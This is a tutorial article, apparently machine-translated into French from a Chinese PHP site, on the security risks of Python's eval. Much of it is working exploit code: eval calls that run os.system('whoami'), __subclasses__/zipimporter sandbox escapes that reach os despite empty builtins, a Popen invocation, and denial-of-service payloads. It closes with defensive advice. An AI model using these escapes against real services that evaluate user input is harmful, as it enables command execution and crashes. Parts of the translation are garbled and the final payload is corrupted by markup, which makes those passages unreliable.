Cet article vous apporte une explication détaillée de l'utilisation de eval en python et une introduction aux risques potentiels. Il a une certaine valeur de référence. Les amis dans le besoin peuvent s'y référer. J'espère qu'il vous sera utile.
Préface à eval
In [1]: eval("2+3") Out[1]: 5 In [2]: eval('[x for x in range(9)]') Out[2]: [0, 1, 2, 3, 4, 5, 6, 7, 8]
Lorsque le module intégré en mémoire contient os, eval peut également exécuter des commandes :
In [3]: import os In [4]: eval("os.system('whoami')") hy-201707271917\administrator Out[4]: 0
Bien sûr, eval peut exécuter uniquement le code de type d'expression Python ne peut pas être directement utilisé pour les opérations d'importation, mais exec le peut. Si vous devez utiliser eval pour l'importation, utilisez __import__ :
In [8]: eval("__import__('os').system('whoami')") hy-201707271917\administrator Out[8]: 0
Dans le code réel, il est souvent nécessaire d'utiliser les données client pour les importer dans eval pour exécution. Par exemple, lors de l'introduction de modules dynamiques, par exemple, il peut y avoir plusieurs robots d'exploration sur une plate-forme de robots d'exploration en ligne et ils sont situés dans différents modules. Le côté serveur n'a souvent besoin d'appeler que le type de robot sélectionné par l'utilisateur côté client. et utilisez exec ou eval sur le backend. Il est très pratique de passer des appels dynamiques et d'implémenter le codage back-end. Cependant, si la demande de l'utilisateur n'est pas traitée correctement, cela entraînera de graves failles de sécurité.
Utilisation « sécurisée » de eval
La plus préconisée maintenant est d'utiliser les deux derniers paramètres de eval pour fixer la liste blanche de la fonction :
La déclaration de la fonction Eval est eval(expression[ , globals[, locals]])
Parmi eux, les deuxième et troisième paramètres spécifient respectivement les fonctions qui peuvent être utilisées dans eval, etc. S'il n'est pas spécifié, la valeur par défaut est le module inclus dans les fonctions et fonctions globals() et locals()
>>> import os >>> 'os' in globals() True >>> eval('os.system('whoami')') win-20140812chjadministrator 0 >>> eval('os.system('whoami')',{},{}) Traceback (most recent call last): File "", line 1, in File "", line 1, in NameError: name 'os' is not defined
Si vous spécifiez que seules les fonctions abs peuvent être appelées, vous pouvez utiliser l'écriture suivante :
>>> eval('abs(-20)',{'abs':abs},{'abs':abs}) 20 >>> eval('os.system('whoami')',{'abs':abs},{'abs':abs}) Traceback (most recent call last): File "", line 1, in File "", line 1, in NameError: name 'os' is not defined >>> eval('os.system('whoami')') win-20140812chjadministrator 0
L'utilisation de cette méthode de protection peut en effet jouer un certain rôle. Cependant, cette méthode de traitement peut être contournée, provoquant d'autres problèmes
Contourner le code d'exécution 1
Le scénario de contournement est le suivant ! . Xiao Ming sait que eval entraînera certains problèmes de sécurité, utilisez donc les méthodes suivantes pour empêcher eval d'exécuter du code arbitraire :
env = {} env["locals"] = None env["globals"] = None env["__name__"] = None env["__file__"] = None env["__builtins__"] = None eval(users_str, env)
__builtins__ en Python est un module intégré utilisé pour définir les éléments intégrés. dans les fonctions, telles que les abdos familiers, les modules ouverts et autres intégrés. Les fonctions sont stockées sous forme de dictionnaires dans ce module. Les deux façons d'écrire suivantes sont équivalentes :
>>> __builtins__.abs(-20) 20 >>> abs(-20) 20
Nous pouvons également personnaliser. fonctions intégrées et utilisez-les comme les fonctions intégrées en Python Utilisez-les :
>>> def hello(): ... print 'shabi' >>> __builtin__.__dict__['say_hello'] = hello >>> say_hello() shabi
Xiao Ming définit le module intégré dans la portée de la fonction eval sur Aucun, ce qui semble très complet , mais il peut toujours être contourné. __builtins__ est une référence à __builtin__ , sous le module __main__, les deux sont équivalents :
>>> id(__builtins__) 3549136 >>> id(__builtin__) 3549136
Selon la méthode mentionnée par Wuyun drops, utilisez le code suivant :
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")
Le code ci-dessus Tout d'abord, l'objet objet est chargé dynamiquement à l'aide de __class__ et __subclasses__ En effet, l'objet ne peut pas être utilisé directement dans eval. Ensuite, l'importateur zip de la sous-classe d'objet est utilisé pour importer le module configobj dans. le fichier compressé egg et appelle son module intégré. Le module os implémente l'exécution des commandes. Bien sûr, la condition préalable est qu'il existe un fichier egg de configobj. Le module configobj est en fait un module os intégré. :
>>> "os" in configobj.__dict__ True >>> import urllib >>> "os" in urllib.__dict__ True >>> import urllib2 >>> "os" in urllib2.__dict__ True >>> configobj.os.system("whoami") win-20140812chjadministrator 0
Les modules similaires à configobj tels que urllib, urllib2, setuptools etc. sont tous intégrés au système d'exploitation. En théorie, vous pouvez en utiliser un. Si vous ne parvenez pas à télécharger le fichier compressé Egg, vous pouvez le faire. pouvez télécharger le dossier avec setup.py, ajouter :
from setuptools import setup, find_packages
puis exécuter :
python setup.py bdist_egg
Vous pouvez trouver le fichier egg correspondant dans le dossier dist. La démo de contournement est la suivante. suit :
>>> env = {} >>> env["locals"] = None >>> env["globals"] = None >>> env["__name__"] = None >>> env["__file__"] = None >>> env["__builtins__"] = None >>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')" >>> eval(users_str, env) win-20140812chjadministrator 0 >>> eval(users_str, {}, {}) win-20140812chjadministrator 0
Attaque de déni de service 1
objet Il y a beaucoup de choses intéressantes dans la sous-classe. Exécutez le code suivant pour afficher :
[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Quitter'][0](0)()", {'__builtins__':None})
Si vous avez de la chance et rencontrez des modules sensibles tels que os importés dans le programme de l'autre partie, alors Popen peut être utilisé et contourne la restriction selon laquelle __builins__ est vide. Les exemples sont les suivants :
>>> import subprocess >>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None}) >>> 正在 Ping 127.0.0.1 具有 32 字节的数据: 来自 127.0.0.1 的回复: 字节=32 时间>>
Attaque de déni de service 2
De même, nous pouvons même contourner __builtins__ en tant que None, provoquant une attaque par déni de service. La charge utile (du blog étranger) est la suivante. :>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})
Résumé
D'après le contenu ci-dessus, nous pouvons voir que le simple fait de définir le module intégré sur vide n'est pas suffisant. Le meilleur mécanisme consiste à construire une liste blanche If. Si vous trouvez cela gênant, vous pouvez utiliser ast.literal_eval au lieu d'unsafe eval.Tutoriel vidéo Python du site Web PHP chinois !
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!